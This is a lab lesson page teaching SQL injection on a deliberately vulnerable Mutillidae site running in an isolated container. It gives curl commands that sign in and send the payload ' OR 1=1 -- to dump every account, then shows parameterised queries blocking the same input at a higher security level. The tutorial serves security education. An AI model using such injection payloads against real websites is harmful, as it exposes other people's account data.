Easier to read with cream paper, a tint, more contrast or larger text? Choose your colours and text, once, for every page.

Free lesson

Mutillidae Basics

The whole lesson is here to read. Create a free account to run it in a live lab.

Container lab7 min read5 commands

What you will do

A website asks a database for information with a question written in a language called SQL. If the website pastes what you type straight into that question, you can change the question. This is called SQL injection, and it is one of the most common weaknesses on the web. Mutillidae is a website built with it on purpose. You will look up one account, then change the name so the site gives you every account, then raise the security level and try again.

The one rule

Warning

This lab runs a website that is insecure on purpose. Attack it, and nothing else. It is your own private copy with no way out to the internet, so nobody else can be affected. Never try these things on a site that is not yours: in the UK that is a crime under the Computer Misuse Act 1990.

Before you start

Note

Press Start the lab on the bar at the top of this lesson and wait until it says it is running. The website is the service called www, and the terminal reaches it by that name. In a browser it opens from the OWASP Mutillidae II link on the bar. Each Run button below types its command into your lab's terminal, one after another in the same session. To watch them, or to type your own, press Open terminal on the bar.

1. Sign in and look up one account

The first command signs in as admin and keeps the sign-in in a file called jar, the way a browser keeps a cookie. It prints 302 and an address ending in AU1: the site accepted the sign-in and sent you on. The second asks the user lookup for the name admin, and only the count of what it found is printed: 1 records found.

Command
curl -s -c jar -d "username=admin&password=adminpass&login-php-submit-button=Login" -o /dev/null -w "%{http_code} %{redirect_url}\n" "http://www/index.php?page=login.php"

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

Command
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=admin" --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

2. Change the question

Now the name is ' OR 1=1 -- . The ' ended the website's question early, OR 1=1 added a condition that is always true, and -- made the database ignore the rest. It answers 40 records found: every account on the site, when you asked for one. The website trusted what you typed.

Command
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=' OR 1=1 -- " --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

3. Raise the security level and try again

Toggle Security in the site's menu steps its security level from 0 to 1 and then to 5. This one command presses it twice, so the level is 5, which the page prints beside its title. The second command is exactly the same injection as step 2, and it now answers 0 records found. At level 5 the site sends your text separately from the question, so it can only ever be a value and never part of the question. This is called a parameterised query, and it is how a website stops this attack.

Command
curl -s -b jar -c jar -L -o /dev/null -o /dev/null "http://www/index.php?do=toggle-security&page=home.php" "http://www/index.php?do=toggle-security&page=home.php"

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

Command
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=' OR 1=1 -- " --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

For teachers

Tip

This lesson is a small example of a lesson worked in a lab: the steps and the Run buttons are the lesson, and the lab is each student's own copy. Mutillidae has dozens more weaknesses, from cross-site scripting to LDAP injection, so the same lab serves a whole unit. Nothing is marked for you: ask for a screenshot of each exercise and a sentence on what the code did wrong. Copy it into your own module and change it, or build one from scratch with the Lab menu in the lesson builder.

About this lab and its source: Mutillidae lab: practise SQL injection and XSS on a vulnerable PHP web application

Teaching a class? Set these lessons for your students with marking and a lab for every student.